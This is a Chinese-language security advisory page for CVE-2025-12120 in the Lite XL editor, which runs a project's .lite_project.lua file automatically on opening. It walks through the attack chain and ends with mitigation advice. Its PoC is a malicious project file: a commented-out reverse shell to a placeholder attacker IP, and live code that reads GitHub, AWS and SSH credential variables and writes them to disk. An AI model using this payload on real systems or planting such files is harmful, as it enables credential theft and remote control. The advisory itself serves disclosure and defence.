IPBUF安全漏洞报告
English
CVE-2025-12120 CVSS 7.3 高危

CVE-2025-12120: Lite XL 任意代码执行漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-12120
漏洞类型
任意代码执行
CVSS评分
7.3 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Lite XL

相关标签

任意代码执行Lite XLCVE-2025-12120本地攻击自动执行配置文件注入

漏洞概述

Lite XL 是一款轻量级、可扩展的文本编辑器。在 2.1.8 及之前版本中,存在一个严重的安全漏洞:当用户打开包含 .lite_project.lua 文件的项目目录时,该文件会被自动执行,而不会提示用户进行确认。.lite_project.lua 文件本意是用于项目级别的配置,但其中可以包含任意的 Lua 代码逻辑。攻击者可以通过构造包含恶意 .lite_project.lua 文件的项目目录,诱骗目标用户打开该目录,从而在用户的环境下执行任意代码。由于该编辑器常被开发人员用于编写代码和配置文件,攻击者可能借此窃取敏感信息(如 SSH 密钥、API 凭证、项目代码等),甚至进一步横向移动至其他系统。此漏洞的利用门槛较低,只需要用户打开一个恶意项目目录即可,无需复杂的交互操作。

技术细节

Lite XL 在打开项目目录时会自动查找并执行 .lite_project.lua 文件。这个功能设计初衷是允许开发者为不同项目设置个性化的编辑器配置(如语法高亮、缩进规则等)。然而,由于缺乏安全验证机制,该文件中的 Lua 代码会在编辑器启动时直接通过 Lua 解释器执行。攻击者可以创建一个包含恶意 .lite_project.lua 的项目目录,其中可包含 os.execute()、io.popen() 等函数调用来执行系统命令。例如,使用 os.execute('malicious_command') 可以在受害者机器上执行任意 shell 命令。由于编辑器通常以较高权限运行(如用户的完整权限),攻击者可以借此实现权限提升或持久化控制。攻击者通常会通过钓鱼邮件、压缩包或共享目录等方式分发恶意项目。

攻击链分析

STEP 1
步骤1
攻击者创建恶意项目目录,其中包含带有恶意代码的 .lite_project.lua 文件
STEP 2
步骤2
攻击者通过钓鱼邮件、网盘分享、压缩包等方式将恶意项目分发给目标用户
STEP 3
步骤3
目标用户使用 Lite XL 打开该恶意项目目录
STEP 4
步骤4
Lite XL 自动执行 .lite_project.lua 文件中的恶意 Lua 代码
STEP 5
步骤5
攻击者实现任意命令执行,可窃取敏感数据、建立持久化连接或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
-- Malicious .lite_project.lua for CVE-2025-12120 -- This PoC demonstrates arbitrary code execution in Lite XL <= 2.1.8 -- Place this file in a project directory and open it with Lite XL -- Example 1: Execute system command -- os.execute('whoami > /tmp/pwned.txt') -- Example 2: Reverse shell connection -- local socket = require('socket') -- local tcp = socket.tcp() -- tcp:connect('ATTACKER_IP', ATTACKER_PORT) -- local proc = io.popen('bash -i', 'r') -- while true do -- local cmd = tcp:receive('*l') -- if cmd then -- local f = io.popen(cmd, 'r') -- local output = f:read('*a') -- f:close() -- tcp:send(output) -- end -- end -- Example 3: Exfiltrate environment variables local home = os.getenv('HOME') or '/tmp' local f = io.open(home .. '/.env_leaked.txt', 'w') for _, k in ipairs({'SSH_AUTH_SOCK', 'GITHUB_TOKEN', 'AWS_ACCESS_KEY_ID'}) do f:write(k .. '=' .. (os.getenv(k) or 'nil') .. '\n') end f:close() -- Notification (optional, but helps identify successful execution) print('[+] CVE-2025-12120 PoC executed successfully')

影响范围

Lite XL <= 2.1.8

防御指南

临时缓解措施
在官方修复版本发布之前,用户应避免打开来源不明的项目目录,特别是包含 .lite_project.lua 文件的目录。可以临时禁用自动执行功能或使用沙箱环境打开不受信任的项目。建议检查项目目录中的 .lite_project.lua 文件内容,确保其仅包含安全的配置代码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表